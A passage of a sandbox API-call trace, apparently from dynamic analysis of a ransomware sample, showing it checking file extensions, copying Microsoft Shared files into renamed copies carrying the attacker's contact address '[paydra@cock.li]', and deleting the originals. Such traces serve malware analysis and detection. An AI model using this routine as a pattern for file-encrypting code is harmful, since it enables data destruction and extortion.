(lpString1=".dbf", lpString2=".DAT") returned 1 [0042.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.933] lstrlenW (lpString=".1cd") returned 4 [0042.933] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0042.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0042.933] lstrlenW (lpString=".jpg") returned 4 [0042.933] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0042.933] lstrcmpiW (lpString1=".TXT", lpString2=".html") returned 1 [0042.933] lstrlenW (lpString="METCONV.TXT") returned 11 [0042.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.934] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=1183416) returned 1 [0042.934] CloseHandle (hObject=0x208) returned 1 [0042.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0042.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0042.934] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.935] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0042.935] GetLastError () returned 0x0 [0042.935] ReadFile (in: hFile=0x208, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0042.957] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0043.284] ReadFile (in: hFile=0x208, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0043.293] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0043.298] ReadFile (in: hFile=0x208, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.298] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.298] SetEndOfFile (hFile=0x190) returned 1 [0043.298] CloseHandle (hObject=0x190) returned 1 [0043.298] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.298] SetEndOfFile (hFile=0x208) returned 1 [0043.299] CloseHandle (hObject=0x208) returned 1 [0043.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0043.300] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0043.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.300] lstrlenW (lpString=".doc") returned 4 [0043.300] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0043.300] lstrlenW (lpString=".docx") returned 5 [0043.300] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0043.300] lstrlenW (lpString=".pdf") returned 4 [0043.300] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0043.300] lstrlenW (lpString=".xls") returned 4 [0043.300] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0043.300] lstrlenW (lpString=".xlsx") returned 5 [0043.300] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0043.300] lstrlenW (lpString=".ppt") returned 4 [0043.300] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0043.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.300] lstrlenW (lpString=".zip") returned 4 [0043.300] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0043.300] lstrlenW (lpString=".rar") returned 4 [0043.300] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0043.300] lstrlenW (lpString=".bz2") returned 4 [0043.300] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0043.300] lstrlenW (lpString=".7z") returned 3 [0043.300] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0043.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.301] lstrlenW (lpString=".dbf") returned 4 [0043.301] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.301] lstrlenW (lpString=".1cd") returned 4 [0043.301] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.301] lstrlenW (lpString=".jpg") returned 4 [0043.301] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.301] lstrlenW (lpString=".doc") returned 4 [0043.301] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString=".docx") returned 5 [0043.301] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0043.301] lstrlenW (lpString=".pdf") returned 4 [0043.301] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString=".xls") returned 4 [0043.301] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0043.301] lstrlenW (lpString=".xlsx") returned 5 [0043.301] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0043.301] lstrlenW (lpString=".ppt") returned 4 [0043.301] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.301] lstrlenW (lpString=".zip") returned 4 [0043.301] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0043.301] lstrlenW (lpString=".rar") returned 4 [0043.301] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString=".bz2") returned 4 [0043.301] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0043.301] lstrlenW (lpString=".7z") returned 3 [0043.301] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0043.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.302] lstrlenW (lpString=".dbf") returned 4 [0043.302] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0043.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.302] lstrlenW (lpString=".1cd") returned 4 [0043.302] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0043.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.302] lstrlenW (lpString=".jpg") returned 4 [0043.302] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0043.302] lstrcmpiW (lpString1=".jpg", lpString2=".html") returned 1 [0043.302] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0043.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.805] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=6406) returned 1 [0043.805] CloseHandle (hObject=0x17c) returned 1 [0043.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0043.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.806] lstrlenW (lpString=".doc") returned 4 [0043.806] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.806] lstrlenW (lpString=".docx") returned 5 [0043.806] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0043.806] lstrlenW (lpString=".pdf") returned 4 [0043.806] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.806] lstrlenW (lpString=".xls") returned 4 [0043.806] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.806] lstrlenW (lpString=".xlsx") returned 5 [0043.806] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0043.806] lstrlenW (lpString=".ppt") returned 4 [0043.806] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.806] lstrlenW (lpString=".zip") returned 4 [0043.806] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.806] lstrlenW (lpString=".rar") returned 4 [0043.806] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.806] lstrlenW (lpString=".bz2") returned 4 [0043.806] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.806] lstrlenW (lpString=".7z") returned 3 [0043.806] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.806] lstrlenW (lpString=".dbf") returned 4 [0043.806] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.806] lstrlenW (lpString=".1cd") returned 4 [0043.806] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.806] lstrlenW (lpString=".jpg") returned 4 [0043.807] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.807] lstrlenW (lpString=".doc") returned 4 [0043.807] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.807] lstrlenW (lpString=".docx") returned 5 [0043.807] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0043.807] lstrlenW (lpString=".pdf") returned 4 [0043.807] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.807] lstrlenW (lpString=".xls") returned 4 [0043.807] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.807] lstrlenW (lpString=".xlsx") returned 5 [0043.807] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0043.807] lstrlenW (lpString=".ppt") returned 4 [0043.807] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.807] lstrlenW (lpString=".zip") returned 4 [0043.807] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.807] lstrlenW (lpString=".rar") returned 4 [0043.807] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.807] lstrlenW (lpString=".bz2") returned 4 [0043.807] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.807] lstrlenW (lpString=".7z") returned 3 [0043.807] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.807] lstrlenW (lpString=".dbf") returned 4 [0043.807] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.807] lstrlenW (lpString=".1cd") returned 4 [0043.807] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.807] lstrlenW (lpString=".jpg") returned 4 [0043.808] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.808] lstrcmpiW (lpString1=".wmf", lpString2=".html") returned 1 [0043.808] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0043.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.808] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2920) returned 1 [0043.808] CloseHandle (hObject=0x17c) returned 1 [0043.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0043.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.808] lstrlenW (lpString=".doc") returned 4 [0043.808] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.808] lstrlenW (lpString=".docx") returned 5 [0043.808] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.808] lstrlenW (lpString=".pdf") returned 4 [0043.808] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString=".xls") returned 4 [0043.809] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.809] lstrlenW (lpString=".xlsx") returned 5 [0043.809] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.809] lstrlenW (lpString=".ppt") returned 4 [0043.809] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.809] lstrlenW (lpString=".zip") returned 4 [0043.809] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.809] lstrlenW (lpString=".rar") returned 4 [0043.809] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString=".bz2") returned 4 [0043.809] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString=".7z") returned 3 [0043.809] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.809] lstrlenW (lpString=".dbf") returned 4 [0043.809] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.809] lstrlenW (lpString=".1cd") returned 4 [0043.809] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.809] lstrlenW (lpString=".jpg") returned 4 [0043.809] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.809] lstrlenW (lpString=".doc") returned 4 [0043.809] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.809] lstrlenW (lpString=".docx") returned 5 [0043.809] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.809] lstrlenW (lpString=".pdf") returned 4 [0043.810] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.810] lstrlenW (lpString=".xls") returned 4 [0043.810] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.810] lstrlenW (lpString=".xlsx") returned 5 [0043.810] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.810] lstrlenW (lpString=".ppt") returned 4 [0043.810] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.810] lstrlenW (lpString=".zip") returned 4 [0043.810] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.810] lstrlenW (lpString=".rar") returned 4 [0043.810] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.810] lstrlenW (lpString=".bz2") returned 4 [0043.810] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.810] lstrlenW (lpString=".7z") returned 3 [0043.810] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0043.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.810] lstrlenW (lpString=".dbf") returned 4 [0043.810] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.810] lstrlenW (lpString=".1cd") returned 4 [0043.810] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.810] lstrlenW (lpString=".jpg") returned 4 [0043.810] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.810] lstrcmpiW (lpString1=".wmf", lpString2=".html") returned 1 [0043.810] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0043.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.811] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=7498) returned 1 [0043.811] CloseHandle (hObject=0x17c) returned 1 [0043.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0043.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0043.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.811] lstrlenW (lpString=".doc") returned 4 [0043.811] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.811] lstrlenW (lpString=".docx") returned 5 [0043.811] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.811] lstrlenW (lpString=".pdf") returned 4 [0043.811] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.811] lstrlenW (lpString=".xls") returned 4 [0043.811] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.811] lstrlenW (lpString=".xlsx") returned 5 [0043.811] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.811] lstrlenW (lpString=".ppt") returned 4 [0043.811] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.811] lstrlenW (lpString=".zip") returned 4 [0043.811] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.811] lstrlenW (lpString=".rar") returned 4 [0043.812] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString=".bz2") returned 4 [0043.812] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString=".7z") returned 3 [0043.812] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0043.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.812] lstrlenW (lpString=".dbf") returned 4 [0043.812] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.812] lstrlenW (lpString=".1cd") returned 4 [0043.812] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.812] lstrlenW (lpString=".jpg") returned 4 [0043.812] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.812] lstrlenW (lpString=".doc") returned 4 [0043.812] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString=".docx") returned 5 [0043.812] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.812] lstrlenW (lpString=".pdf") returned 4 [0043.812] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString=".xls") returned 4 [0043.812] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.812] lstrlenW (lpString=".xlsx") returned 5 [0043.812] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.812] lstrlenW (lpString=".ppt") returned 4 [0043.812] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.812] lstrlenW (lpString=".zip") returned 4 [0043.812] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.813] lstrlenW (lpString=".rar") returned 4 [0043.813] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.813] lstrlenW (lpString=".bz2") returned 4 [0043.813] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.813] lstrlenW (lpString=".7z") returned 3 [0043.813] lstrcmpiW (lpString1=".7z", 